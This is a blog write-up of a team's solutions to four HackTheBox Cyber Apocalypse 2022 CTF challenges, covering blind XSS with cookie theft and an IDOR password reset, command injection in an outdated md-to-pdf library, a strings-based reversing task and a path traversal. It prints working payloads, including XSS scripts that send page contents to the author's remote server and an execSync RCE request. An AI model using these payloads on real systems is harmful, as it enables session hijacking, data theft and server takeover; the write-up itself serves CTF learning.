Introduction

This blog is about the CTF event organised by HackTheBox, called Cyber Apocalypse CTF 2022. It was a 6 day event from 14.05.2022 to 19.05.2022 Our team name was R4gn4R0ck, we solved 6/61 challenges and finished at rank 1041/7024 scoring 1525 points. It was great fun and I definitely learned a lot from this CTF challenge. The challenges we solved:

  • Warmup
  • Kryptos Support (web)
  • BlinkerFluids (web)
  • Space Pirate: Entrypoint (pwn)
  • WIDE (rev)
  • Compressor (misc)

In this blog, I’ll be discussing about how we solved Kryptos Support (web), BlinkerFluids (web), WIDE (rev) and Compressor (misc).

Kryptos Support (web)

The secret vault used by the Longhir's planet council, Kryptos, contains some very sensitive state secrets that Virgil and Ramona are after to prove the injustice performed by the commission. Ulysses performed an initial recon at their request and found a support portal for the vault. Can you take a look if you can infiltrate this system?

It was a webpage where you could post tickets and it would be reviewed by an admin. I remembered a similar challenge on HTB, which I couldn’t solve as I don’t have the premium subscription, but intigriti had made a video on it and I saw it when it came out. So I quickly opened my XSS hunter page and copied a payload as a ticket.

<script src=https://<username>.xss.ht></script>

And I received an email!!

In the email, I got the url (http://127.0.0.1:1337/tickets/new) it was hitting and the cookie of the moderator.

BXSS-cookie

Now, this part was quite simple. After this I got into a rabbit hole and wasted 4 days and who knows if even after that I’d have seen the obvious thing or not until my team mate slommy showed me something that I didn’t notice at first. So, if you just want to know the solution head to Solution part or come with me on a road that shouldn’t have been taken…

The Road Shouldn’t Have Taken

So, after getting the email, I thought we have to find the flag within this page that we’re hitting. Currently we’re hitting /tickets/new, so maybe if I retrieve the contents of this page, it might have the flag somewhere as a comment. Now the thing is I am very bad at js, so I had to literally google everything about fetching the contents from a webpage. Luckily, as we’re hitting /tickets/new xss hunter has already included the content of this page.

<html lang="en"><head>
      <meta charset="UTF-8">
      <meta name="viewport" content="width=device-width, initial-scale=1.0">
      <meta http-equiv="X-UA-Compatible" content="ie=edge">
      <link rel="icon" type="image/x-icon" href="/static/images/favicon.png">
      <title>Kryptos Vault</title>
      <link rel="stylesheet" href="/static/css/tickets.css">
   </head>
   <body>
        <nav class="nav-bar">
            <ul>
                <li>
                    <a href="/settings">Settings</a>
                </li>
            </ul>
        </nav>
        <nav class="logged-bar">
           <ul>
               <li>
                   logged in as (), <a href="/logout">logout</a>
               </li>
           </ul>
       </nav>
      <div class="container on">
         <div class="screen">
            <h3 class="title">
               Kryptos Vault Support tickets
            </h3>
            <div class="message-container">
                
                    <div class="ticket-card">
                        <div class="c1"><span>Submitted </span></div>
                        <div class="c2"><p>2022-05-14 13:19:31</p></div>
                        <div class="c1"><span>Message </span></div>
                        <div class="c2"><p>"&gt;<script src="https://<username>.xss.ht"></script></p></div>
                    </div>
                

            </div>
         </div>
      </div>
   
</body></html>

No flag on this page.

But we can see, there are some endpoints /settings, /logout and maybe it has the flag at /robots.txt. So I spend alot of time to see how can I fetch contents from these endpoints and send it to my remote server. I quickly set up a server on replit and after a lot of googling came up with this code that would give me the base64 encoded version of the contents.

<script>
    function loadXMLDoc(theURL)
    {
        if (window.XMLHttpRequest)
        {
            xmlhttp=new XMLHttpRequest();
        }
        else
        {
            xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
        }
        xmlhttp.onreadystatechange=function()
        {
            if (xmlhttp.readyState==4 && xmlhttp.status==200)
            {
                // alert(xmlhttp.responseText);
            }
        }
        xmlhttp.open("GET", theURL, false);
        xmlhttp.send();
    }
var xmlhttp=false;
loadXMLDoc('/settings'); // fetch contents from an endpoint
if(xmlhttp==false){  }
else { 
  document.write('<img src="https://<remote_server>.repl.co?c=' + btoa(xmlhttp.responseText) + '" />');
}
</script>

Now, I started fetching contents from all the endpoints that I could, /settings, /robots.txt, /logout. After you logout, you have another feature of logging in, may be this challenge wants me to login as admin:admin, admin:password or Kryptos:Kryptos to get the flag. So, I had to fetch login.js from the webpage which handled the login functionality and from there to figure out how to send a login request.

async function auth() {
	const data = {
		username: "admin",
		password: "admin"
	};

	await fetch(`/api/login`, {
			method: 'POST',
			headers: {
				'Content-Type': 'application/json',
			},
			body: JSON.stringify(data),
		})
		.then((response) => response.json()
			.then((resp) => {
				if (response.status == 200) {
					document.write('<img src="https://<remote_server>.repl.co?c=' + btoa(resp.message) + '" />');
					window.location.href = '/tickets';
					return;
				}
				document.write('<img src="https://<remote_server>.repl.co?c=' + btoa(resp.message) + '" />');
			}))
		.catch((error) => {
			document.write('<img src="https://<remote_server>.repl.co?c=' + btoa(error) + '" />');
		});
}
auth();

tried admin:admin, admin:password, Kryptos:Kryptos nothing worked!! I was so mad after this, because the solve count of this challenge kept on increasing and I couldn’t figure out what was it, it was a 1 star challenge but still I wasn’t able to figure out how to solve it.

Then I had another idea, the cookie is a JWT. So maybe we need to exploit a none algorithm confusion vulnerability and login as admin. But that didn’t work too!!

Now, I had tried every trick I had up my sleeves.

On /settings endpoint there was a feature to update password, but I was too tired of these failures and thought that won’t work too. (It would’ve worked, but there was even simpler way).

So, I just sent all the details that I have found to my team’s discord server so that others could see what was going on.

And, I got a response from my team mate, slommy. There was a login page on the main webpage!!!!

So, I missed this because the Backend button was not clickable on chrome but it was pointing to /login in the source code of the page! I didn’t look at the source code. Now it all made sense, the webpage that the moderator is viewing http://127.0.0.1:1337/ is the same as the one we have in front of ourselves!!

Solution

There is a login page on the website at /login, we know the cookie of the moderator, but don’t know their credentials. So, we’ll create a session using their cookie.

  • add the cookie to your burp request while sending a request to /tickets/new
  • notice the endpoint /settings, send a request to it with the cookies
  • it has a password update functionality, which doesn’t require the previous password
  • put admin as the new password and change the password, notice the request on burp.

pwd-change-req

  • notice the parameter, uid having value 100 for moderator, change it to 1 and send the request, pwd of admin is changed
  • logout and login with credentials admin:admin

HTB{x55_4nd_id0rs_ar3_fun!!}

BlinkerFluids (web)

Once known as an imaginary liquid used in automobiles to make the blinkers work is now one of the rarest fuels invented on Klaus' home planet Vinyr. The Golden Fang army has a free reign over this miraculous fluid essential for space travel thanks to the Blinker Fluids™ Corp. Ulysses has infiltrated this supplier organization's one of the HR department tools and needs your help to get into their server. Can you help him?

It had dockerfile and source code that can be found here

This webpage had a functionality of PDF generation and they have been made quite popular by NahamSec, who found a lot of SSRF on different kinds of pdf generators. You can see his talk here.

So, I created a requestbin to see the request being made and created a pdf with following payload

<iframe src="http://y2cqxgoqfqemlqs1.b.requestbin.net"></iframe>

And I got a reponse with following headers:

Host: y2cqxgoqfqemlqs1.b.requestbin.net
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/102.0.5002.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://localhost:45253/
Accept-Encoding: gzip, deflate
Accept-Language: en-US
X-Request-Id: 0e690510-4a9b-4445-9cac-c81a10f6016c
X-Forwarded-For: 103.177.174.86
X-Forwarded-Proto: http
X-Forwarded-Port: 80
Via: 1.1 vegur
Connect-Time: 0
X-Request-Start: 1652970733878
Total-Route-Time: 0

I was trying to see if somehow I could get local files by fetching file:///etc/passwd but they won’t show up on the pdf.

But my team mate lrk, found an outdated library, md-to-pdf v4.1.0 in the package.json file. It was vulnerable to command injection (source).

The library gray-matter (used by md-to-pdf to parse front matter) exposes a JS-engine by default, which essentially runs eval on the given Markdown.

After some research they found the working POC:

POST /api/invoice/add HTTP/1.1 
Accept: */* 
Accept-Encoding: gzip, deflate, br 
Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7 
Cache-Control: no-cache 
Connection: keep-alive 
Content-Length: 126 
Content-Type: application/json 
Host: 127.0.0.1:1337 
Origin: http://127.0.0.1:1337 
Pragma: no-cache 
{"markdown_content":"---js\n((require('child_process')).execSync('cp -f /flag.txt /app/static/invoices/flag.txt'))\n---RCE"}

and we can get the flag at /static/invoices/flag.txt.

HTB{bl1nk3r_flu1d_f0r_int3rG4l4c7iC_tr4v3ls}

WIDE (rev)

We've received reports that Draeger has stashed a huge arsenal in the pocket dimension Flaggle Alpha. You've managed to smuggle a discarded access terminal to the Widely Inflated Dimension Editor from his headquarters, but the entry for the dimension has been encrypted. Can you make it inside and take control?

This was my first time solving a reverse-engineering challenge, so pardon me, if I make some mistakes.

We are given two files db.ex and wide

checking what kind of files are they:

$ file db.ex
db.ex: data

ok, contains only data

$ cat db.ex
Primuspeople breathe variety practiceOur home dimensionCheagazscene control river importanceThe Ice DimensionByenooviafighting cast it parallelThe Berserk DimensionClotepreafacing motor unusual heavyThe Hungry DimensionMaraqastomach motion sale valuableThe Water DimensionAidorfeathers stream sides gateThe Bone -Ց���#P

not sure what it is

$ file wide
wide: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=13869bb7ce2c22f474b95ba21c9d7e9ff74ecc3f, not stripped

let’s see what’s in it

$ cat wide

it looks like a binary file, with lots of weird symbols, but there is one interesting text that caught my attention

please enter your WIDE decryption key: sup3rs3cr3tw1d3[X]                          Key was incorrect

although it says, Key was incorrect but you never know, so I saved it in my notes.

just copy paste the whole output of file wide cmd on google and see if there are any similar ctf challenges in the past.

this one is quite similar

after reading the post, let’s run the wide file

$ ./wide db.ex

cmd-wide

let’s input 1, 2, 3 and so on

wide-input

so on input 6 it asks for a decryption key, let’s use what we found before.

AND… surprisingly I got the flag!!!

wide-flag

HTB{str1ngs_4r3nt_4lw4ys_4sc11}

Compressor (misc)

Ramona's obsession with modifications and the addition of artifacts to her body has slowed her down and made her fail and almost get killed in many missions. For this reason, she decided to hack a tiny robot under Golden Fang's ownership called "Compressor", which can reduce and increase the volume of any object to minimize/maximize it according to the needs of the mission. With this item, she will be able to carry any spare part she needs without adding extra weight to her back, making her fast. Can you help her take it and hack it?

I had to connect to the server using netcat

After connecting to the server:

nc-front

So, I chose 1:

compressor-head

You can see it has a Read artifact option without input sanitisation, cat ../../flag.txt

compressor-flag

HTB{GTFO_4nd_m4k3_th3_b35t_4rt1f4ct5}


Thank you for reading. If you want to reach out to me you can do so on Twitter or on LinkedIn